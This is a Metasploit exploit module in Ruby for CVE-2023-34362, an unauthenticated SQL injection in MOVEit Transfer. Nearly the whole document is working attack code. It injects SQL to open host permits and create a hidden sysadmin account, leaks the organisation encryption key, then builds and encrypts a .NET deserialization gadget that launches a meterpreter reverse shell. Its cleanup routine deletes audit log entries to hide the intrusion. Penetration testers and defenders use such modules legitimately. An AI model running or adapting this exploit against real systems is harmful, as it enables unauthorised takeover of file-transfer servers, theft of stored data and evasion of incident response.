Authored by bwatters-r7, sfewer-r7, rbowes-r7 | Site metasploit.com

This Metasploit module exploits an SQL injection vulnerability in the MOVEit Transfer web application that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker can leverage an information leak be able to upload a .NET deserialization payload.

advisories | CVE-2023-34362

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MOVEit SQL Injection vulnerability',
'Description' => %q{
This module exploits an SQL injection vulnerability in the MOVEit Transfer web application
that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.
Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an
attacker can leverage an information leak be able to upload a .NET deserialization payload.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362
'rbowes-r7', # research
'bwatters-r7' # module
],
'References' => [
['CVE', '2023-34362' ],
['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],
['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],
['URL', 'https://www.wiz.io/blog/cve-2023-34362']
],
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Payload' => {
'Space' => 345
},
'Targets' => [
[
'Windows Command',
{
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
'RPORT' => 443,
'SSL' => true
}
}
],
],
'DisclosureDate' => '2023-05-31',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),
Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),
Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),
Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])
]
)
@moveit_token = nil
@moveit_instid = nil
@guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"
@uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)
@uploadfile_size = rand(5..64)
@uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)
@user_added = false
@files_json = nil
end

def begin_file_upload(folders_json, token_json)
boundary = rand_text_numeric(27)
post_data = "--#{boundary}rn"
post_data << "Content-Disposition: form-data; name="name"rnrn#{@uploadfile_name}rn--#{boundary}rn"
post_data << "Content-Disposition: form-data; name="size"rnrn#{@uploadfile_size}rn--#{boundary}rn"
post_data << "Content-Disposition: form-data; name="comments"rnrnrn--#{boundary}--rn"
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),
'headers' => {
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Authorization' => "Bearer #{token_json['access_token']}"
},
'connection' => 'close',
'accept' => '*/*',
'data' => post_data.to_s
})

fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200

files_json = res.get_json_document
vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")
files_json
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),
'connection' => 'close',
'accept' => '*/*'
})
version = nil
if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')
version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])
# 2020.1.x AKA 12.1.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')
# 2021.0.x AKA 13.0.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')
# 2021.1.x AKA 13.1.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')
# 2022.0.x AKA 14.0.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')
# 2022.1.x AKA 14.1.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')
# 2023.0.x AKA 15.0.x
return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')
else
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end

def cleanup
cleanup_user(@files_json) if @user_added
super
end

def cleanup_user(files_json)
hax_username = datastore['USERNAME']
hax_loginname = datastore['LOGIN_NAME']
deleteuser_payload = [
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload
"DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded
"DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #
"DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created
"DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username
"DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname
"DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.
]
if @user_added
vprint_status("Deleting user #{hax_username}")
sqli(sqli_payload(deleteuser_payload))
@user_added = false
end
end

def create_sysadmin
hax_username = datastore['USERNAME']
hax_password = datastore['PASSWORD']
hax_loginname = datastore['LOGIN_NAME']
createuser_payload = [
"UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",
"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",
"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",
]
res = sqli(sqli_payload(createuser_payload))

fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200
@user_added = true
end

def encrypt_deserialization_gadget(gadget, org_key)
org_key = org_key.gsub(' ', '')
org_key = [org_key].pack('H*').bytes.pack('C*')
deserialization_gadget = moveitv2encrypt(gadget, org_key)
deserialization_gadget
end

def find_folder_id(token_json)
folders_response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/api/v1/folders'),
'connection' => 'close',
'accept' => '*/*',
'headers' => {
'Authorization' => "Bearer #{token_json['access_token']}"
}
})
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200
folders_json = JSON.parse(folders_response.body)
vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")
folders_json
end

def get_csrf_token(res)
fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/
::Regexp.last_match(1)
end

def guestaccess_request(body)
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri('guestaccess.aspx'),
'connection' => 'close',
'accept' => '*/*',
'vars_post' => body
})
res
end

# Perform a request to the ISAPI endpoint with an arbitrary transaction
def isapi_request(transaction, headers)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),
'keep_cookies' => true,
'connection' => 'close',
'accept' => '*/*',
'headers' => {
'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',
'X-siLock-Transaction': transaction
}.merge(headers)
})
end

def leak_encryption_key(token_json, files_json)
haxleak_payload = [
# The gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard NetworkssiLockInstitutions) as all other KeyName's will be longer (Standard NetworkssiLockInstitutions1234)
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard NetworkssiLockInstitutions'.length}) WHERE ID='#{files_json['fileId']}'"
]

sqli(sqli_payload(haxleak_payload))

leak_response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),
'connection' => 'close',
'accept' => '*/*',
'headers' => {
'Authorization' => "Bearer #{token_json['access_token']}"
}
})

fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200
leak_json = JSON.parse(leak_response.body)
org_key = leak_json['uploadAgentBrand']
vprint_status("Leaked the Org Key: #{org_key}")
org_key
end

def makev1password(password, salt = 'AAAA')
fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?
fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4

# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret
pwpre = Base64.decode64('=VT2jkEH3vAs=')
pwpost = Base64.decode64('=0maaSIA5oy0=')
md5 = Digest::MD5.new
md5.update(pwpre)
md5.update(salt)
md5.update(password)
md5.update(pwpost)

pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')
pw << salt
pw << md5.digest

return Base64.strict_encode64(pw).gsub('+', '-')
end

def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')
fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16

if iv.nil?
iv = Rex::Text.rand_text_alphanumeric(4)
# as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.
iv *= 4
end

# MOVEit.DMZ.Core.Cryptography.Encryption
key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')
key += org_key
key += [0, 0, 0, 0].pack('C*')

# MOVEit.Crypto.AesMOVEitCryptoTransform
cipher = OpenSSL::Cipher.new('AES-256-CBC')

cipher.encrypt
cipher.key = key
cipher.iv = iv
encrypted_data = cipher.update(data) + cipher.final
data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')
org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')

# MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
header = [
225, # MOVEitV2EncryptedStringHeader
0,
data_sha1_hash[0],
data_sha1_hash[1],
org_key_sha1_hash[0],
org_key_sha1_hash[1],
org_key_sha1_hash[2],
org_key_sha1_hash[3],
iv.unpack('C*')[0],
iv.unpack('C*')[1],
iv.unpack('C*')[2],
iv.unpack('C*')[3],
].pack('C*')

# MOVEit.DMZ.Core.Cryptography.Encryption
return tag + Base64.strict_encode64(header + encrypted_data)
end

def populate_token_instid
begin
res = send_request_cgi({
'method' => 'GET',
'keep_cookies' => true,
'connection' => 'keep-alive',
'accept' => '*/*'
})

cookies = res.get_cookies
# Get the session id from the cookies
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/
@moveit_token = ::Regexp.last_match(1)
vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")

# Get the InstID from the cookies
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/
@moveit_instid = ::Regexp.last_match(1)
vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")
end
true
end

def request_api_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/api/v1/token'),
'Content-Type' => 'application/x-www-form-urlencoded',
'connection' => 'keep-alive',
'accept' => '*/*',
'vars_post' => {
'grant_type' => 'password',
'username' => datastore['LOGIN_NAME'],
'password' => datastore['PASSWORD']
}
})

fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200

token_json = JSON.parse(res.body)
vprint_status("Got API access token='#{token_json['access_token']}'.")
token_json
end

def set_session(session_hash)
session_vars = {}
session_index = 0
session_hash.each_pair do |k, v|
session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"
session_index += 1
end
isapi_request('session_setvars', session_vars)
end

def sqli(sql_payload)
# Set up a fake package in the session. The order here is important. We set these session
# variables one per request, so first set the package information, then switch over to a
# 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this
# order the session will be cleared and the injection will not work.
set_session({
'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06
'MyPkgID' => '0', # Is self provisioned? (must be 0)
'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
'MyPkgInstID' => '1234', # this can be any int value
'MyPkgSelfProvisionedRecips' => sql_payload,
'MyUsername' => 'Guest'
})

# Get a CSRF token - this has to be *after* you set MyUsername, since the
# username is incorporated into it
#
# Transaction => request type, different types will work
# Arg06 => the package access code (must match what's set above)
# Arg12 => promptaccesscode requests a form, which contains a CSRF code

body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }
csrf = get_csrf_token(guestaccess_request(body))

# This does the actual injection
body = {
'Arg06' => 'accesscode',
'transaction' => 'secmsgpost',
'Arg01' => 'subject',
'Arg04' => 'body',
'Arg05' => 'sendauto',
'Arg09' => 'pkgtest9',
'csrftoken' => csrf
}
guestaccess_request(body)
end

def sqli_payload(sql_payload)
# Create the initial injection, and create the session object
payload = [
# The initial injection
"#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",
].concat(sql_payload)

# Join our payload, and terminate with a comment character
return payload.join(';') + ';#'
end

def trigger_deserialization(token_json, files_json, folders_json)
files_response = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),
'connection' => 'close',
'accept' => '*/*',
'verify' => false,
'headers' => {
'Authorization' => "Bearer #{token_json['access_token']}",
'Content-Type' => 'application/octet-stream',
'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",
'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)
},
'data' => @uploadfile_data
})

# 500 if payload runs :)
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500
end

def upload_encrypted_gadget(encrypted_gadget, files_json)
haxupload_payload = [
"UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",
]
vprint_status('Planting encrypted gadget into the DB...')
sqli(sqli_payload(haxupload_payload))
end

def exploit
# Get the sessionID and siLockLongTermInstID
print_status('[01/11] Get the sessionID and siLockLongTermInstID')
populate_token_instid
# Allow Remote Access and Create new sysAd
print_status('[02/11] Create New Sysadmin')
create_sysadmin
print_status('[03/11] Get API Token')
token_json = request_api_token
print_status('[04/11] Get Folder ID')
folders_json = find_folder_id(token_json)
print_status('[05/11] Begin File Upload')
@files_json = begin_file_upload(folders_json, token_json)
print_status('[06/11] Leak Encryption Key')
org_key = leak_encryption_key(token_json, @files_json)
print_status('[07/11] Generate Gadget')
gadget = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter
)
print_status('[08/11] Encrypt Gadget')
b64_gadget = Rex::Text.encode_base64(gadget)
encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)
print_status('[09/11] Upload Encrypted Gadget')
upload_encrypted_gadget(encrypted_gadget, @files_json)
print_status('[10/11] Trigger Gadget')
trigger_deserialization(token_json, @files_json, folders_json)
print_status('[11/11] Cleaning Up')
cleanup_user(@files_json)
end
end